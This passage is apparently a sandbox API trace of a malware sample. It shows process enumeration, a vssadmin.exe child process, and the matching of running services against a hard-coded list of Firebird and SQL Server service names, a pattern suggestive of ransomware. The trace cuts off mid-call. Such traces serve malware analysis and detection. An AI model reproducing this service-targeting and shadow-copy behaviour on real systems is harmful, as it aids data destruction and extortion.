lstrlenW (lpString="area_burst_factors.exe") returned 22 [0044.083] Process32NextW (in: hSnapshot=0x188, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="addition.exe")) returned 1 [0044.083] lstrlenW (lpString="addition.exe") returned 12 [0044.083] Process32NextW (in: hSnapshot=0x188, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x724, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="kept retirement.exe")) returned 1 [0044.084] lstrlenW (lpString="kept retirement.exe") returned 19 [0044.084] Process32NextW (in: hSnapshot=0x188, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lmmold.exe")) returned 1 [0044.084] lstrlenW (lpString="lmmold.exe") returned 10 [0044.084] Process32NextW (in: hSnapshot=0x188, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="soma weighted.exe")) returned 1 [0044.085] lstrlenW (lpString="soma weighted.exe") returned 17 [0044.085] Process32NextW (in: hSnapshot=0x188, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cartridge donation.exe")) returned 1 [0044.085] lstrlenW (lpString="cartridge donation.exe") returned 22 [0044.085] Process32NextW (in: hSnapshot=0x188, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="anti.exe")) returned 1 [0044.086] lstrlenW (lpString="anti.exe") returned 8 [0044.086] Process32NextW (in: hSnapshot=0x188, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cashiersshot.exe")) returned 1 [0044.086] lstrlenW (lpString="cashiersshot.exe") returned 16 [0044.086] Process32NextW (in: hSnapshot=0x188, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="poundfi.exe")) returned 1 [0044.799] lstrlenW (lpString="poundfi.exe") returned 11 [0044.799] Process32NextW (in: hSnapshot=0x188, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conditions_hired.exe")) returned 1 [0044.800] lstrlenW (lpString="conditions_hired.exe") returned 20 [0044.800] Process32NextW (in: hSnapshot=0x188, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mercedes.exe")) returned 1 [0044.800] lstrlenW (lpString="mercedes.exe") returned 12 [0044.800] Process32NextW (in: hSnapshot=0x188, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x53c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="intake ringtones vegetables.exe")) returned 1 [0044.801] lstrlenW (lpString="intake ringtones vegetables.exe") returned 31 [0044.801] Process32NextW (in: hSnapshot=0x188, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="training_wiring.exe")) returned 1 [0044.801] lstrlenW (lpString="training_wiring.exe") returned 19 [0044.801] Process32NextW (in: hSnapshot=0x188, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="democratic.exe")) returned 1 [0044.802] lstrlenW (lpString="democratic.exe") returned 14 [0044.802] Process32NextW (in: hSnapshot=0x188, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="soc_housewares_senate.exe")) returned 1 [0044.802] lstrlenW (lpString="soc_housewares_senate.exe") returned 25 [0044.802] Process32NextW (in: hSnapshot=0x188, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="receptors trustees ul.exe")) returned 1 [0044.803] lstrlenW (lpString="receptors trustees ul.exe") returned 25 [0044.803] Process32NextW (in: hSnapshot=0x188, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="documented.exe")) returned 1 [0044.803] lstrlenW (lpString="documented.exe") returned 14 [0044.803] Process32NextW (in: hSnapshot=0x188, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x808, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0044.804] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0044.804] Process32NextW (in: hSnapshot=0x188, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x984, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0044.805] lstrlenW (lpString="n.exe") returned 5 [0044.805] Process32NextW (in: hSnapshot=0x188, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xa70, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0044.805] lstrlenW (lpString="cmd.exe") returned 7 [0044.805] Process32NextW (in: hSnapshot=0x188, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0044.806] lstrlenW (lpString="conhost.exe") returned 11 [0044.806] Process32NextW (in: hSnapshot=0x188, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xadc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xa80, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0044.806] lstrlenW (lpString="vssadmin.exe") returned 12 [0044.806] Process32NextW (in: hSnapshot=0x188, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xadc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xa80, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0044.807] CloseHandle (hObject=0x188) returned 1 [0044.807] Sleep (dwMilliseconds=0x1f4) [0045.772] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x73fb88 [0045.773] EnumServicesStatusExW (in: hSCManager=0x73fb88, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x224ff44, lpServicesReturned=0x224ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x224ff44, lpServicesReturned=0x224ff5c, lpResumeHandle=0x0) returned 0 [0045.774] GetLastError () returned 0xea [0045.774] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x11e4) returned 0x4023080 [0045.775] EnumServicesStatusExW (in: hSCManager=0x73fb88, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4023080, cbBufSize=0x11e4, pcbBytesNeeded=0x224ff44, lpServicesReturned=0x224ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4023080, pcbBytesNeeded=0x224ff44, lpServicesReturned=0x224ff5c, lpResumeHandle=0x0) returned 1 [0045.775] CloseServiceHandle (hSCObject=0x73fb88) returned 1 [0045.775] lstrlenW (lpString="Appinfo") returned 7 [0045.776] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0045.776] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0045.776] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0045.776] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0045.776] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0045.776] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0045.776] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0045.776] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0045.776] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0045.776] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0045.776] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0045.776] lstrlenW (lpString="AudioSrv") returned 8 [0045.776] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0045.776] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0045.776] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0045.776] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0045.776] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0045.776] lstrlenW (lpString="BFE") returned 3 [0045.776] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0045.776] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0045.776] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0045.776] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0045.776] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0045.776] lstrlenW (lpString="CryptSvc") returned 8 [0045.776] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0045.776] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0045.776] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0045.776] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0045.776] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0045.776] lstrlenW (lpString="CscService") returned 10 [0045.776] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0045.776] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0045.776] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0045.776] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0045.776] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0045.777] lstrlenW (lpString="DcomLaunch") returned 10 [0045.777] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0045.777] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0045.777] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0045.777] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0045.777] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0045.777] lstrlenW (lpString="Dhcp") returned 4 [0045.777] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0045.777] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0045.777] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0045.777] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0045.777] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0045.777] lstrlenW (lpString="Dnscache") returned 8 [0045.777] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0045.777] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0045.777] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0045.777] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0045.777] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0045.777] lstrlenW (lpString="DPS") returned 3 [0045.777] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0045.777] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0045.777] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0045.777] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0045.777] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0045.777] lstrlenW (lpString="eventlog") returned 8 [0045.777] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0045.777] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0045.777] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0045.777] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0045.777] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0045.777] lstrlenW (lpString="EventSystem") returned 11 [0045.777] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0045.777] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0045.777] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0045.777] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0045.778] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0045.778] lstrlenW (lpString="gpsvc") returned 5 [0045.778] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0045.778] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0045.778] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0045.778] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0045.778] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0045.778] lstrlenW (lpString="iphlpsvc") returned 8 [0045.778] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0045.778] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0045.778] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0045.778] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0045.778] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0045.778] lstrlenW (lpString="LanmanServer") returned 12 [0045.778] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0045.778] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0045.778] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0045.778] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0045.778] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0045.778] lstrlenW (lpString="LanmanWorkstation") returned 17 [0045.778] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0045.778] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0045.778] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0045.778] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0045.778] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0045.778] lstrlenW (lpString="lmhosts") returned 7 [0045.778] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0045.778] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0045.778] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0045.778] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0045.778] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0045.778] lstrlenW (lpString="MMCSS") returned 5 [0045.778] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0045.778] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0045.779] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0045.779] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0045.779] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0045.779] lstrlenW (lpString="MpsSvc") returned 6 [0045.779] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0045.779] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0045.779] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0045.779] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0045.779] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0045.779] lstrlenW (lpString="Netman") returned 6 [0045.779] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0045.779] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0045.779] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0045.779] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0045.779] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0045.779] lstrlenW (lpString="netprofm") returned 8 [0045.779] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0045.779] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0045.779] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0045.779] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0045.779] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0045.779] lstrlenW (lpString="NlaSvc") returned 6 [0045.779] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0045.779] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0045.779] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0045.779] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0045.779] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0045.779] lstrlenW (lpString="nsi") returned 3 [0045.779] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0045.779] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0045.779] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0045.779] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0045.779] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0045.779] lstrlenW (lpString="PcaSvc") returned 6 [0045.780] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0045.780] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0045.780] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0045.780] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0045.780] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0045.780] lstrlenW (lpString="PlugPlay") returned 8 [0045.780] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0045.780] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0045.780] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0045.780] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0045.780] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0045.780] lstrlenW (lpString="Power") returned 5 [0045.780] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0045.780] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0045.780] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0045.780] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0045.780] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0045.780] lstrlenW (lpString="ProfSvc") returned 7 [0045.780] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0045.780] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0045.780] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0045.780] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0045.780] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0045.780] lstrlenW (lpString="RpcEptMapper") returned 12 [0045.780] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0045.780] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0045.780] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0045.780] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0045.780] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0045.780] lstrlenW (lpString="RpcSs") returned 5 [0045.780] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0045.780] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0045.780] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0045.781] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0045.781] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0045.781] lstrlenW (lpString="SamSs") returned 5 [0045.781] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0045.781] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0045.781] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0045.781] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0045.781] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0045.781] lstrlenW (lpString="Schedule") returned 8 [0045.781] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0045.781] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0045.781] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0045.781] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0045.781] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0045.781] lstrlenW (lpString="SENS") returned 4 [0045.781] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0045.781] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0045.781] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0045.781] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0045.781] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0045.781] lstrlenW (lpString="ShellHWDetection") returned 16 [0045.781] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0045.781] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0045.781] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0045.781] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0045.781] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0045.781] lstrlenW (lpString="Spooler") returned 7 [0045.781] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0045.781] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0045.781] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0045.781] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0045.781] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0045.781] lstrlenW (lpString="SysMain") returned 7 [0045.781] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0045.781] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0045.781] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0045.782] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0045.782] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0045.782] lstrlenW (lpString="Themes") returned 6 [0045.782] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0045.782] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0045.782] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0045.782] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0045.782] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0045.782] lstrlenW (lpString="TrkWks") returned 6 [0045.782] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0045.782] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0045.782] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0045.782] lstrcmpiW (lpString1="mssqlserver", 